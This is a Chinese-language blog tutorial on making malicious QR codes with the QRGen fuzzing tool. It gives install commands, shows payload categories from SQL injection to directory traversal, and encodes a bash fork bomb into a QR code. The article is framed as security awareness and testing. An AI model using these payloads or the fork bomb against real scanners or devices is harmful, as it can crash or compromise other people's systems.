如何创建恶意QR码入侵手机和其他扫描仪

  • QR码不安全,希望这篇文章能帮助您提高安全意识

如今QR码已经无处不在,这使得扫描它们的扫描仪成为了黑客的主要攻击目标。

由于许多此类专有扫描设备中存在缺陷,因此可以制作自定义的二维码来利用这些常见漏洞。

名为 QRGen 的工具可以创建恶意二维码,甚至可以编码定制的有效载荷。

这些攻击之所以有效,是因为除非先进行扫描,否则人类将无法直接读取或理解QR码中包含的信息,从而可能将试图解密该代码的任何设备暴露于其中包含的漏洞。

甚至智能手机等QR码扫描仪也容易受到此类攻击,因为QR码能够诱使 iPhone 用户访问恶意站点。

以下是中国的电视台近期发布过的一个视频。该视频似乎可以说明,这种攻击方式也许已经在中国流行:

什么是QR码?

QR码是机器可读的数据格式,可用于需要自动扫描的任何内容。

QR码之前,还有其他几种称为线性条形码的格式,它们也以易于读取的方式存储数据。

您可能已经在产品上看到过UPC条形码,如下图所示,该条形码通常用于识别待售商品,以便收银员可以对其进行扫描以加快结帐速度。

1974年以来,一直在使用UPC条形码或通用产品代码。其目的主要是在零售中,并且仅对一系列数字进行编码,从而限制了其应用范围。

尽管存在许多不同类型的线性条形码,但它们无法存储大量信息。诸如运输和汽车制造业之类的应用领域需要一个能够容纳更多数据的标准。

二维条形码以获取更多数据

解决线性条形码的局限性的答案就是二维条形码,它具有更大的存储能力,可以防止物理损坏影响其中的信息。

第一代二维码如下面这样,如今仍在广泛使用。

Aztec代码是2D的机器可读代码,在很多方面与QR代码相似,并且可以保存比线性条形码更多的信息。

最初是为物流而开发的,当需要存储的数据量超出线性条形码所能提供的数量时,您可能就会看到把它用于包装和信封的情况。

其他类型的2D码可能包含大量数据。例如,在美国大多数驾驶执照背面都可以找到PDF417格式的二维码,最多可以编入1800ASCII字符。

像上面的 PDF417 码可以编码文本、数字、文件和实际数据字节,并且它们比线性条形码更能抵抗错误。像 FedEx 这样的公司在装箱单上使用 PDF417 和其他条码的组合来实现自动交付和跟踪。

它可以处理更多数据吗

QR码起源于汽车工业,是一种跟踪汽车制造过程的方法,但很快在该行业之外迅速流行。

与其他二维码类似,QR码可以打包大量数据,甚至在分辨率降低或以其他方式损坏时也可以使用。

一个QR码可以包含4296ASCII字符,这使得您可以对它们进行更多的创作。您甚至可以格式化数据以便在阅读器设备识别它时触发操作。

QR码具有更大的数据容量,这是一种引人入胜的有趣应用,可以使用它们来管理Wi-Fi连接,而无需以纯文本形式共享密码。

通过编码以下字符串您可以创建一个QR码,以将Android用户自动登录到一个Wi-Fi网络。

WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>;

任何在 Android 设备上扫描该QR码的人都会发现自己已自动登录到已编码的Wi-Fi网络。要了解QR码可以打包多少数据,请查看下面这个:

上图中包含以下文本:

Version 40 QR Code can contain up to 1852 chars.
A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones.
The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data.
Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes.
The QR code was designed to allow its contents to be decoded at high speed.
The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes.
Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context,
including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed mobile tagging).
QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message.
Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps.

图片中包含的文字大于QR码本身。这种能力使QR码既强大又危险,因为如果不先扫描它们你就无法理解其中的数据。

使用QRgen进行QR码黑客

由于人们无法在实际扫描前发现恶意QR码,因此QR码相对较大的有效载荷可以为黑客带来很多好处,尤其是与易受攻击的设备结合使用时。

今天将用来创建它们的工具称为 QRGen。它将把一个有效载荷使用Python编入QR码。

QRGen 带有一个内置的库,其中包含许多流行的漏洞利用程序,如果您有时间坐下来寻找对于您的目标设备来说哪个可行的话,这将非常有用。

在运行脚本时,可以使用 -l 加数字来访问QRGen上可用的有效载荷类别。

数字和有效载荷类型如下:

0 : SQL Injections

1 : XSS

2 : Command Injection

3 : Format String

4 : XXE

5 : String Fuzzing

6 : SSI Injection

7 : LFI / Directory Traversal

要创建一堆包含字符串模糊有效载荷的恶意QR代码,只需运行 QRGen.py -l 5 即可创建许多测试码。

你需要什么

要使用QRGen,您需要安装Python3。因为它是跨平台的,所以应该可以在任何操作系统上进行。

您还需要一些Python库,包括 qrcodePillow argparse,我们将在安装过程中安装它们。

步骤1:安装QRGen

要开始使用QRGen,需要从GitHub下载存储库。通过在终端窗口中运行以下命令来执行此操作。

~$ git clone https://github.com/h0nus/QRGen

Cloning into 'QRGen'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (86/86), done.
remote: Compressing objects: 100% (78/78), done.
remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0
Unpacking objects: 100% (86/86), done.

存储库下载完毕后,将切换(cd)到其目录并列出(ls)其内容以查找需求文件。

~$ cd QRGen
~/QRGen$ ls

demo.gif  qrgen.py  README.md  requirements.txt  words

现在,您需要确保已经安装了所有必需的库。为此,使用以下命令运行安装文件。

~/QRGen$ pip3 install -r requirements.txt

Collecting qrcode (from -r requirements.txt (line 1))
  Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1)
Collecting argparse (from -r requirements.txt (line 3))
  Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0)
Installing collected packages: qrcode, argparse
Successfully installed argparse-1.4.0 qrcode-6.1

如果不起作用,您也可以使用此替代命令进行安装。

~/QRGen$ python3 -m pip install -r requirements.txt

步骤2:根据有效载荷类型生成恶意QR

现在,您应该可以通过键入 python3 qrgen.py 来运行脚本。

~/QRGen$ python3 qrgen.py

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]

Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader

optional arguments:
  -h, --help            show this help message and exit

Options for QRGen:
  --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
                        Set wordlist to use
  --wordlist WORDLIST, -w WORDLIST
                        Use a custom wordlist

Pay attention everywhere, even in the dumbest spot

如您所见,创建有效载荷非常简单。首先创建一个包含格式化字符串的有效载荷。所以如下这样运行QRGen

~/QRGen$ python3 qrgen.py -l 5

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

要查看其余的有效载荷,您可以键入 cd genqr 更改为创建它们的目录及 ls 其内容。

~/QRGen$ cd genqr
~/QRGen/genqr$ ls

payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png
payload-18.png  payload-27.png  payload-36.png  payload-45.png

步骤3:对自定义有效载荷进行编码

要编码一个自定义有效载荷,首先可以创建一个文本文件,其中包含我们要编码的内容。

首先,可以通过键入 nano badstuff.txt 创建一个文本文件:

~/QRGen/genqr$ nano badstuff.txt

在该文本文件中可以放置有效载荷。下面的一个是 forkbomb。可以在QR码扫描仪上起效吗?谁知道呢 ……

:(){ :|: & };:

可以通过按Control X进行保存,然后按Y并按Enter确认保存。现在,您应该看到一个包含有效载荷的文本文件。

~/QRGen/genqr$ ls

badstuff.txt    payload-18.png  payload-27.png  payload-36.png  payload-45.png
payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png

要将您的有效载荷写入QR码使用 -w 。假设您的有效载荷文件名为 “badstuff.txt”,那么命令应该如下面这样(记住请先更改回QRGen目录)。

~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt'

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

对于上面的 forkbomb 有效载荷,它会生成下面这样的QR码,然后将其弹出。

并非所有扫码都是明智的

QR码可以编入很多信息,正如本文所演示的那样,甚至可以对其进行格式化以使设备执行诸如连接到Wi-Fi网络之类的操作。

这使得扫描QR码具有风险,因为在将设备暴露于内部任何有效载荷之前人们无法读取信息。

如果您扫描似乎可疑的QR代码,请注意该码试图启动的内容,并且不要连接到Wi-Fi网络或导航到被缩短的链接。

希望本文能提高您的安全意识。⚪️

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据